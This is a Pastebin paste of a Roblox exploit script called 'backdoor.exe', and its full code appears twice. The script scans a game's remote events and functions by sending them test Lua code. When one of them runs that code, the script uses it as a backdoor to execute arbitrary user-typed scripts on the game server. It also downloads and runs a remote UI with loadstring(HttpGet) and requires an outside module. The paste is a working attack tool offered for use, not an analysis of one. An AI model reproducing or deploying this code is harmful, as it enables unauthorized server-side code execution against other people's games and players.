Advertisement
UnnoobcoolHelper

Made by k4scripts Backdoor-Scanner

Mar 22nd, 2025
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.32 KB | None | 0 0
  1. -- Services
  2. local Players = game:GetService("Players")
  3. local CoreGui = game:GetService("CoreGui")
  4. local Lighting = game:GetService("Lighting");
  5. local Workspace = game:GetService("Workspace");
  6. local JointsService = game:GetService("JointsService")
  7. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  8. local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")
  9.  
  10. -- Variables
  11. local LocalPlayer = Players.LocalPlayer
  12. local RobloxGui = CoreGui.RobloxGui
  13.  
  14. -- Functions
  15. local dateTimeNow = DateTime.now
  16. local tableFind = table.find
  17. local taskSpawn = task.spawn
  18. local taskWait = task.wait
  19. local stringRep = string.rep
  20. local mathRandom = math.random
  21.  
  22. -- Globals
  23. local attached = false;
  24. local backdoor = nil;
  25. local commonPlaces = {
  26. ReplicatedStorage,
  27. Workspace,
  28. Lighting
  29. };
  30. local remoteCodes = {};
  31.  
  32. -- Constants
  33. local INV_CODE = "xJHCqm84cW";
  34. local STRING_VALUE_NAME = mathRandom(1000000, 9999999);
  35.  
  36.  
  37. if RobloxGui:FindFirstChild("V6") then RobloxGui:FindFirstChild("V6"):Destroy(); print("Refreshed"); end
  38. local Variables = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/ui.lua"))()
  39.  
  40. Variables.UI.Main.Active = true
  41. Variables.UI.Main.Draggable = true
  42.  
  43. local function notify(text,cb,b1,b2)
  44. game:GetService("StarterGui"):SetCore(
  45. "SendNotification",{
  46. Title = "backdoor.exe",
  47. Duration = 3,
  48. Text = text,
  49. Callback = cb,
  50. Button1 = b1,
  51. Button2 = b2
  52. }
  53. )
  54. end
  55.  
  56. local function validRemote(rm)
  57. local Parent = rm.Parent
  58. local class = rm.ClassName
  59. if class ~= "RemoteEvent" and class ~= "RemoteFunction" then return false end
  60.  
  61. if Parent then
  62. if Parent == JointsService then return false end
  63. if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
  64. (rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and Parent.Parent == ReplicatedStorage) then return false end
  65. end
  66.  
  67. if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end
  68.  
  69. return true
  70. end
  71.  
  72. local function scanDescendants(parent)
  73. local descendance = parent:GetDescendants();
  74. for i=1, #descendance do
  75. local descendant = descendance[i];
  76.  
  77.  
  78. if not validRemote(descendant) then continue; end
  79.  
  80. --if #remoteCodes == 5 then remoteCodes.clear(); end
  81. local remoteCode = tostring(mathRandom(100000, 999999));
  82. remoteCodes[remoteCode] = descendant;
  83.  
  84. local remoteClass = descendant.ClassName
  85. local requireScript = ("i=Instance.new('StringValue', game.Workspace); i.Name='%s'; i.Value='%s'"):format(STRING_VALUE_NAME, remoteCode)
  86.  
  87. if remoteClass == "RemoteEvent" then
  88. descendant:FireServer(requireScript)
  89.  
  90. elseif remoteClass == "RemoteFunction" then
  91. local waiting = true
  92. taskSpawn(function()
  93. descendant:InvokeServer(requireScript)
  94. waiting = nil
  95. end)
  96.  
  97. -- If RemoteFunction don't respond in 1 second, we skip this one.
  98. local start = dateTimeNow().UnixTimestampMillis
  99. while waiting and 1000 > dateTimeNow().UnixTimestampMillis - start do
  100. taskWait()
  101. end
  102. end
  103.  
  104. if Workspace:FindFirstChild(STRING_VALUE_NAME) then
  105. attached = true
  106. backdoor = remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value]
  107. backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME)) -- Cleaning up after tonumberselves
  108.  
  109. return true
  110. end
  111. end
  112. end
  113. local function scanGame()
  114. local found = false
  115. -- Scan Common Places
  116. for i=1, #commonPlaces do
  117. local place = commonPlaces[i];
  118. if scanDescendants(place) then
  119. found = true
  120. end
  121. end
  122. -- Scan the rest of the game
  123. local children = game:GetChildren();
  124. for i=1, #children do
  125. local child = children[i];
  126. -- We ofcourse don't need to check the common places again, do we?
  127. if tableFind(commonPlaces, child) then continue; end
  128.  
  129. if scanDescendants(child) then
  130. found = true
  131. end
  132. end
  133. if found then
  134. notify("Backdoor Found!")
  135. Variables.Topbar.Status.Text = "Attached"
  136. Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 = Color3.fromRGB(95, 185, 47)
  137. else
  138. notify("Unable to find backdoor!")
  139. Variables.Topbar.Status.Text = "Failed"
  140. end
  141.  
  142. return found;
  143. end
  144. local function executeScript(script)
  145. if not attached then
  146. local function callback(text)
  147. if text == "Yes" then
  148. if scanGame() then
  149. executeScript(script)
  150. end
  151. elseif text == "No" then
  152. return
  153. end
  154. end
  155.  
  156. local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
  157. notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
  158. return
  159. end
  160.  
  161. local script = script or Variables.SourceFrame.Source.Text
  162. if backdoor.ClassName == "RemoteEvent" then
  163. backdoor:FireServer(script)
  164. elseif backdoor.ClassName == "RemoteFunction" then
  165. backdoor:InvokeServer(script)
  166. end
  167. end
  168.  
  169.  
  170.  
  171.  
  172.  
  173. local function promtDiscordInvite()
  174. local httpService = game:GetService("HttpService")
  175. local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request
  176.  
  177. if not httpRequest then setclipboard(INV_CODE) notify("Invite code copied!") return end
  178.  
  179. local request = httpRequest({
  180. Url = "http://127.0.0.1:6463/rpc?v=1",
  181. Method = "POST",
  182.  
  183. Headers = {
  184. ['Content-Type'] = 'application/json',
  185. Origin = 'https://discord.com'
  186. },
  187.  
  188. Body = httpService:JSONEncode({
  189. args = {code = INV_CODE},
  190. cmd = 'INVITE_BROWSER',
  191. nonce = httpService:GenerateGUID(false)
  192. })
  193. })
  194.  
  195. if request.StatusCode ~= 200 or httpService:JSONDecode(request.Body).data.code == 4011 then
  196. notify("Invite code copied!")
  197. setclipboard(INV_CODE)
  198. return
  199. end
  200.  
  201. notify("You have been promted to join our Discord. Open your Discord.")
  202.  
  203. end
  204.  
  205. Variables.Topbar.CloseButton.MouseButton1Click:Connect(function() Variables.UI:Destroy() end)
  206. Variables.Topbar.R6Button.MouseButton1Click:Connect(function() executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end)
  207. Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame)
  208. Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript)
  209. Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Text = "" end)
  210. Variables.MainButtons.HideButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible end)
  211. Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite)
  212.  
  213.  
  214.  
  215. -- k4scripts
  216. -- .------.
  217. -- |4.--. |
  218. -- | :│/: |
  219. -- | :│\: |
  220. -- | '--'4|
  221. -- `------'-- Services
  222. local Players = game:GetService("Players")
  223. local CoreGui = game:GetService("CoreGui")
  224. local Lighting = game:GetService("Lighting");
  225. local Workspace = game:GetService("Workspace");
  226. local JointsService = game:GetService("JointsService")
  227. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  228. local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")
  229.  
  230. -- Variables
  231. local LocalPlayer = Players.LocalPlayer
  232. local RobloxGui = CoreGui.RobloxGui
  233.  
  234. -- Functions
  235. local dateTimeNow = DateTime.now
  236. local tableFind = table.find
  237. local taskSpawn = task.spawn
  238. local taskWait = task.wait
  239. local stringRep = string.rep
  240. local mathRandom = math.random
  241.  
  242. -- Globals
  243. local attached = false;
  244. local backdoor = nil;
  245. local commonPlaces = {
  246. ReplicatedStorage,
  247. Workspace,
  248. Lighting
  249. };
  250. local remoteCodes = {};
  251.  
  252. -- Constants
  253. local INV_CODE = "xJHCqm84cW";
  254. local STRING_VALUE_NAME = mathRandom(1000000, 9999999);
  255.  
  256.  
  257. if RobloxGui:FindFirstChild("V6") then RobloxGui:FindFirstChild("V6"):Destroy(); print("Refreshed"); end
  258. local Variables = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/ui.lua"))()
  259.  
  260. Variables.UI.Main.Active = true
  261. Variables.UI.Main.Draggable = true
  262.  
  263. local function notify(text,cb,b1,b2)
  264. game:GetService("StarterGui"):SetCore(
  265. "SendNotification",{
  266. Title = "backdoor.exe",
  267. Duration = 3,
  268. Text = text,
  269. Callback = cb,
  270. Button1 = b1,
  271. Button2 = b2
  272. }
  273. )
  274. end
  275.  
  276. local function validRemote(rm)
  277. local Parent = rm.Parent
  278. local class = rm.ClassName
  279. if class ~= "RemoteEvent" and class ~= "RemoteFunction" then return false end
  280.  
  281. if Parent then
  282. if Parent == JointsService then return false end
  283. if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
  284. (rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and Parent.Parent == ReplicatedStorage) then return false end
  285. end
  286.  
  287. if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end
  288.  
  289. return true
  290. end
  291.  
  292. local function scanDescendants(parent)
  293. local descendance = parent:GetDescendants();
  294. for i=1, #descendance do
  295. local descendant = descendance[i];
  296.  
  297.  
  298. if not validRemote(descendant) then continue; end
  299.  
  300. --if #remoteCodes == 5 then remoteCodes.clear(); end
  301. local remoteCode = tostring(mathRandom(100000, 999999));
  302. remoteCodes[remoteCode] = descendant;
  303.  
  304. local remoteClass = descendant.ClassName
  305. local requireScript = ("i=Instance.new('StringValue', game.Workspace); i.Name='%s'; i.Value='%s'"):format(STRING_VALUE_NAME, remoteCode)
  306.  
  307. if remoteClass == "RemoteEvent" then
  308. descendant:FireServer(requireScript)
  309.  
  310. elseif remoteClass == "RemoteFunction" then
  311. local waiting = true
  312. taskSpawn(function()
  313. descendant:InvokeServer(requireScript)
  314. waiting = nil
  315. end)
  316.  
  317. -- If RemoteFunction don't respond in 1 second, we skip this one.
  318. local start = dateTimeNow().UnixTimestampMillis
  319. while waiting and 1000 > dateTimeNow().UnixTimestampMillis - start do
  320. taskWait()
  321. end
  322. end
  323.  
  324. if Workspace:FindFirstChild(STRING_VALUE_NAME) then
  325. attached = true
  326. backdoor = remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value]
  327. backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME)) -- Cleaning up after tonumberselves
  328.  
  329. return true
  330. end
  331. end
  332. end
  333. local function scanGame()
  334. local found = false
  335. -- Scan Common Places
  336. for i=1, #commonPlaces do
  337. local place = commonPlaces[i];
  338. if scanDescendants(place) then
  339. found = true
  340. end
  341. end
  342. -- Scan the rest of the game
  343. local children = game:GetChildren();
  344. for i=1, #children do
  345. local child = children[i];
  346. -- We ofcourse don't need to check the common places again, do we?
  347. if tableFind(commonPlaces, child) then continue; end
  348.  
  349. if scanDescendants(child) then
  350. found = true
  351. end
  352. end
  353. if found then
  354. notify("Backdoor Found!")
  355. Variables.Topbar.Status.Text = "Attached"
  356. Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 = Color3.fromRGB(95, 185, 47)
  357. else
  358. notify("Unable to find backdoor!")
  359. Variables.Topbar.Status.Text = "Failed"
  360. end
  361.  
  362. return found;
  363. end
  364. local function executeScript(script)
  365. if not attached then
  366. local function callback(text)
  367. if text == "Yes" then
  368. if scanGame() then
  369. executeScript(script)
  370. end
  371. elseif text == "No" then
  372. return
  373. end
  374. end
  375.  
  376. local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
  377. notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
  378. return
  379. end
  380.  
  381. local script = script or Variables.SourceFrame.Source.Text
  382. if backdoor.ClassName == "RemoteEvent" then
  383. backdoor:FireServer(script)
  384. elseif backdoor.ClassName == "RemoteFunction" then
  385. backdoor:InvokeServer(script)
  386. end
  387. end
  388.  
  389.  
  390.  
  391.  
  392.  
  393. local function promtDiscordInvite()
  394. local httpService = game:GetService("HttpService")
  395. local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request
  396.  
  397. if not httpRequest then setclipboard(INV_CODE) notify("Invite code copied!") return end
  398.  
  399. local request = httpRequest({
  400. Url = "http://127.0.0.1:6463/rpc?v=1",
  401. Method = "POST",
  402.  
  403. Headers = {
  404. ['Content-Type'] = 'application/json',
  405. Origin = 'https://discord.com'
  406. },
  407.  
  408. Body = httpService:JSONEncode({
  409. args = {code = INV_CODE},
  410. cmd = 'INVITE_BROWSER',
  411. nonce = httpService:GenerateGUID(false)
  412. })
  413. })
  414.  
  415. if request.StatusCode ~= 200 or httpService:JSONDecode(request.Body).data.code == 4011 then
  416. notify("Invite code copied!")
  417. setclipboard(INV_CODE)
  418. return
  419. end
  420.  
  421. notify("You have been promted to join our Discord. Open your Discord.")
  422.  
  423. end
  424.  
  425. Variables.Topbar.CloseButton.MouseButton1Click:Connect(function() Variables.UI:Destroy() end)
  426. Variables.Topbar.R6Button.MouseButton1Click:Connect(function() executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end)
  427. Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame)
  428. Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript)
  429. Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Text = "" end)
  430. Variables.MainButtons.HideButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible end)
  431. Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite)
  432.  
  433.  
  434.  
  435. -- k4scripts
  436. -- .------.
  437. -- |4.--. |
  438. -- | :│/: |
  439. -- | :│\: |
  440. -- | '--'4|
  441. -- `------'
  442.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement